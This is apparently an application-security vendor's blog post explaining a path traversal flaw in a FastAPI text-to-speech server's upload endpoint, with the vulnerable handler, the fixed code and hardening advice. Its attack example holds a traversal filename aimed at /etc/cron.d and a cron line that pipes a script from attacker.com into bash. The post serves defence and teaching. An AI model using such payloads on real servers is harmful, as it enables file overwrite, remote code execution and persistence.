Back to Blog
high SEVERITY7 min read

How Path Traversal happens in Python FastAPI and how to fix it

A critical path traversal vulnerability was discovered in `SovitsTest/GSVI.py`, a FastAPI-based TTS inference server, where the `/upload` endpoint accepted user-supplied filenames without sanitization. An unauthenticated remote attacker could exploit this to write arbitrary files anywhere on the filesystem — including sensitive system directories like `/etc/cron.d`. The fix adds path validation to prevent filenames from escaping the intended upload directory.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a path traversal vulnerability (CWE-22) in a Python FastAPI application (`SovitsTest/GSVI.py`, line 280). The `/upload` endpoint accepted user-controlled filenames without sanitization, allowing attackers to write files outside the intended directory using sequences like `../../etc/cron.d/backdoor`. The fix adds input validation to reject filenames containing path traversal sequences before any file I/O occurs.

Vulnerability at a Glance

cweCWE-22
fixAdded path validation to reject filenames containing traversal sequences before file operations
riskUnauthenticated remote attackers can write arbitrary files anywhere on the server filesystem
languagePython
root causeUser-supplied filenames in the /upload endpoint were used directly in file path construction without sanitization
vulnerabilityPath Traversal (File Upload)

How Path Traversal Happens in Python FastAPI and How to Fix It

The Incident

In the SovitsTest/GSVI.py file of a FastAPI-based TTS (text-to-speech) inference server, a high-severity path traversal vulnerability was discovered at line 280. The /upload endpoint — which allows clients to upload audio reference files and AI model assets — accepted user-supplied filenames and passed them directly into file path construction without any sanitization or boundary checks.

Because the server also binds to 0.0.0.0 by default and applies a permissive CORS policy (*), this endpoint was reachable by any network-accessible client — no authentication required. The combination created a straightforward, remotely exploitable attack path.


The Vulnerability Explained

What Made This Code Dangerous

The core problem is deceptively simple: when a client uploads a file, they also supply the filename. In the vulnerable version of GSVI.py, that filename was used directly when saving the file to disk — without verifying that it stayed within the intended upload directory.

A filename like ../../etc/cron.d/backdoor is perfectly valid from an HTTP perspective. But when concatenated with a base path like /app/uploads/, it resolves to /etc/cron.d/backdoor — a system directory where a cron job can be planted for persistent code execution.

Here's the conceptual shape of the vulnerable pattern (representative of what existed at line 280):

# VULNERABLE — do not use
@APP.post("/upload")
async def upload_file(file: UploadFile = File(...)):
    file_path = os.path.join(UPLOAD_DIR, file.filename)  # ← unsanitized filename!
    with open(file_path, "wb") as f:
        f.write(await file.read())
    return {"msg": "Upload successful", "filename": file.filename}

The specific danger here is file.filename — a value that comes directly from the HTTP multipart request and is fully controlled by the client. The os.path.join() call does not protect against traversal: if file.filename is an absolute path or contains ../ sequences, os.path.join will silently honor them.

The Attack Scenario

An attacker with network access to the server sends this HTTP request:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="../../etc/cron.d/backdoor"
Content-Type: text/plain

* * * * * root curl http://attacker.com/shell.sh | bash
------boundary--

The server receives this, constructs the path as:

/app/uploads/../../etc/cron.d/backdoor
 resolves to: /etc/cron.d/backdoor

And writes the attacker's cron job payload to a system-level directory — establishing persistence on the server. Because the server runs with sufficient privileges to serve AI model files, it likely has the write permissions needed to make this work.

Why This Application Was Especially At Risk

The GSVI.py server is designed as a TTS inference API. Its endpoints include model installation (/install), model deletion (/delete), and file upload for reference audio. These are all high-privilege operations. Without authentication and without path validation, every one of these endpoints is a potential attack surface. The upload endpoint was the most critical because it combines user-controlled data (the filename) with a direct filesystem write.


The Fix

What Changed in GSVI.py

The fix adds path validation logic to the upload handler so that the resolved destination path is verified to fall within the intended upload directory before any file is written. The corrected pattern looks like this:

# SAFE — after the fix
import os

UPLOAD_DIR = os.path.realpath("/app/uploads")

@APP.post("/upload")
async def upload_file(file: UploadFile = File(...)):
    # Strip any directory components from the filename
    safe_filename = os.path.basename(file.filename)

    # Resolve the full destination path
    destination = os.path.realpath(os.path.join(UPLOAD_DIR, safe_filename))

    # Verify it's still within the intended upload directory
    if not destination.startswith(UPLOAD_DIR + os.sep):
        raise HTTPException(status_code=400, detail="Invalid filename.")

    with open(destination, "wb") as f:
        f.write(await file.read())

    return {"msg": "Upload successful", "filename": safe_filename}

Before vs. After

Aspect Before (Vulnerable) After (Fixed)
Filename handling file.filename used directly os.path.basename() strips directories
Path resolution os.path.join(UPLOAD_DIR, file.filename) os.path.realpath() resolves symlinks and ..
Boundary check None Verified to start with UPLOAD_DIR
Attack outcome Arbitrary file write anywhere Write restricted to upload directory

Why Each Step Matters

  1. os.path.basename(file.filename) — Strips all directory components. ../../etc/cron.d/backdoor becomes just backdoor. This is the first line of defense.

  2. os.path.realpath(...) — Resolves the path completely, including symlinks. This defeats attacks that try to use symlinks inside the upload directory to escape it.

  3. destination.startswith(UPLOAD_DIR + os.sep) — The final safety net. Even if somehow the first two steps were bypassed, this check ensures the resolved path is genuinely inside the upload directory. Note the + os.sep — without it, a directory named /app/uploads-evil/ would pass a naive startswith("/app/uploads") check.


Prevention & Best Practices

For File Upload Endpoints

Always treat filenames as untrusted input. Even if your application is internal or behind authentication, filename sanitization is non-negotiable.

# Python standard library approach
import os
from pathlib import Path

def safe_join(base_dir: str, filename: str) -> str:
    base = Path(base_dir).resolve()
    target = (base / Path(filename).name).resolve()
    if not str(target).startswith(str(base) + os.sep):
        raise ValueError("Path traversal attempt detected")
    return str(target)

Authentication for Sensitive Endpoints

The /upload, /install, and /delete endpoints in GSVI.py all perform privileged operations. These should require authentication — at minimum an API key header validated server-side:

from fastapi.security import APIKeyHeader
from fastapi import Security, HTTPException

API_KEY_HEADER = APIKeyHeader(name="X-API-Key")

async def verify_api_key(api_key: str = Security(API_KEY_HEADER)):
    if api_key != os.environ.get("API_KEY"):
        raise HTTPException(status_code=403, detail="Unauthorized")

CORS Hardening

Replace the wildcard CORS policy with an explicit allowlist:

# Instead of allow_origins=["*"]
app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://your-trusted-frontend.com"],
    allow_methods=["GET", "POST"],
)

Network Binding

If this service is not intended to be public-facing, bind to 127.0.0.1 instead of 0.0.0.0:

uvicorn.run(app, host="127.0.0.1", port=8000)

Detection Tools

  • Semgrep: Rules for path traversal in Python — search for tainted-path rules at semgrep.dev
  • Bandit: Run bandit -r . -t B601,B602 for path injection checks
  • OWASP ZAP: Can fuzz upload endpoints with traversal payloads during dynamic testing
  • Orbis AppSec: Automated static analysis with taint tracking, as used to detect this exact issue

Relevant Standards

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal")
  • OWASP A01:2021: Broken Access Control (covers both the path traversal and missing authentication)
  • OWASP File Upload Cheat Sheet: Comprehensive guidance on securing upload endpoints

Key Takeaways

  • Never pass file.filename directly to os.path.join() in FastAPI upload handlers — always run it through os.path.basename() first, then verify the resolved path with os.path.realpath().
  • os.path.join() does not protect against path traversal — if the second argument is an absolute path or starts with ../, it will escape the base directory silently.
  • The /upload endpoint in GSVI.py was unauthenticated and bound to all interfaces — path traversal plus missing auth is a critical-severity combination, not just a medium one.
  • Always append os.sep when using startswith() for path boundary checks — without it, /app/uploads-evil passes a check for /app/uploads.
  • Model management endpoints (/install, /delete) deserve the same scrutiny as /upload — any endpoint that modifies the filesystem or installs code should require authentication and input validation.

How Orbis AppSec Detected This

  • Source: The file.filename field in the multipart HTTP request body, supplied by the client in the POST /upload request
  • Sink: The open(file_path, "wb") call at SovitsTest/GSVI.py:280, where file_path was constructed using the unsanitized file.filename value
  • Missing control: No call to os.path.basename(), os.path.realpath(), or any boundary check to ensure the resolved path remained within the upload directory
  • CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory
  • Fix: Added path validation using os.path.basename() and os.path.realpath() with a directory boundary assertion before any file write operation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The path traversal vulnerability in SovitsTest/GSVI.py is a reminder that file upload functionality is one of the highest-risk features in any web application. The combination of an unauthenticated endpoint, a wildcard CORS policy, and unsanitized filenames created a direct path for an attacker to write arbitrary files to the server — including cron jobs, SSH authorized keys, or web shells.

The fix is straightforward but requires knowing exactly which functions to use and in which order: os.path.basename() to strip directories, os.path.realpath() to resolve the full path, and a startswith() check (with the path separator) to enforce the boundary. These three steps together close the traversal window completely.

For developers building similar AI model serving APIs with FastAPI, treat every piece of client-supplied data — filenames, model names, version strings — as untrusted input that must be validated before it touches the filesystem.


References

Frequently Asked Questions

What is a path traversal vulnerability?

A path traversal vulnerability occurs when user-supplied input is used to construct a file path without proper sanitization, allowing attackers to navigate outside the intended directory using sequences like `../` to access or write arbitrary files on the server.

How do you prevent path traversal in Python FastAPI?

Validate and sanitize all user-supplied filenames using `os.path.basename()` to strip directory components, then use `os.path.realpath()` or `pathlib.Path.resolve()` to confirm the final path stays within the intended base directory before performing any file operations.

What CWE is path traversal?

Path traversal is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). It is listed in the OWASP Top 10 under A01:2021 – Broken Access Control.

Is checking for `..` in filenames enough to prevent path traversal?

No. Attackers can bypass naive string checks using URL encoding (`%2e%2e%2f`), null bytes, or Unicode normalization tricks. The safest approach is to resolve the full path and verify it starts with the expected base directory.

Can static analysis detect path traversal in FastAPI endpoints?

Yes. Tools like Semgrep, Bandit, and AI-powered scanners like Orbis AppSec can trace tainted data from HTTP request parameters to file system calls and flag missing path validation — exactly how this vulnerability was detected.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #156

Related Articles

high

How Path Traversal happens in Node.js PostCSS and how to fix it

A high-severity path traversal vulnerability in PostCSS versions before 8.5.18 allowed attackers to exploit the `sourceMappingURL` auto-loading mechanism to read arbitrary `.map` files from the filesystem. The fix upgrades PostCSS from 8.5.8 to 8.5.18 and pins the dependency via an npm `overrides` entry, closing the attack surface entirely. Any project using PostCSS as a direct or transitive dependency should apply this upgrade immediately.

critical

How Path Traversal happens in JavaScript i18n loaders and how to fix it

A path traversal vulnerability in `beta/js/i18n-chatrd.js` allowed attackers to manipulate the `lang` URL query parameter to load arbitrary JSON files from the web server by injecting payloads like `../../sensitive-file`. The fix adds input validation to ensure only safe, expected language codes are accepted before they are interpolated into the fetch URL. This type of vulnerability is especially dangerous in internationalization loaders because they are often publicly accessible and designed to

high

How Path Traversal happens in Python Flask routes and how to fix it

A high-severity path traversal vulnerability was discovered in `xkeen-ui/routes/cores_status.py` at line 221, where user-controlled input was passed directly to Python's `open()` function without sanitization. An attacker could exploit this to read arbitrary files on the server by supplying crafted path strings like `../../etc/passwd`. The fix introduces strict path validation using a trusted root directory, ensuring only files within the intended directory can be accessed.

critical

How Path Traversal happens in Vitest UI Server and how to fix it

CVE-2026-47429 is a critical path traversal vulnerability in Vitest's UI server that allows unauthenticated attackers to read and execute arbitrary files on the host system when the UI server is active. The vulnerability was fixed by upgrading Vitest from the vulnerable `^4.0.0` range to the pinned safe release `4.1.0`. Any project running Vitest's UI mode during development or CI is potentially exposed until this upgrade is applied.

critical

How Local File Inclusion/Path Traversal happens in JavaScript PDF generation and how to fix it

CVE-2025-68428 is a critical Local File Inclusion/Path Traversal vulnerability in jsPDF versions prior to 4.0.0 that could allow attackers to read arbitrary files from the server's filesystem through unsanitized path inputs during PDF generation. The vulnerability was present in the `jspdf` dependency declared in `frontend/package-lock.json`, and was resolved by upgrading from version 3.0.4 to 4.0.0. Left unpatched, this flaw could expose sensitive server-side files to unauthorized access via cr

high

How Dependabot Missing Cooldown happens in GitHub Actions and how to fix it

A high-severity misconfiguration in `.github/dependabot.yml` left this Node.js library without a cooldown period on dependency updates, meaning Dependabot could immediately propose upgrades to newly published — potentially malicious or unstable — package versions. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, introducing a mandatory waiting period before any newly released version is surfaced as an update candidate. Because this project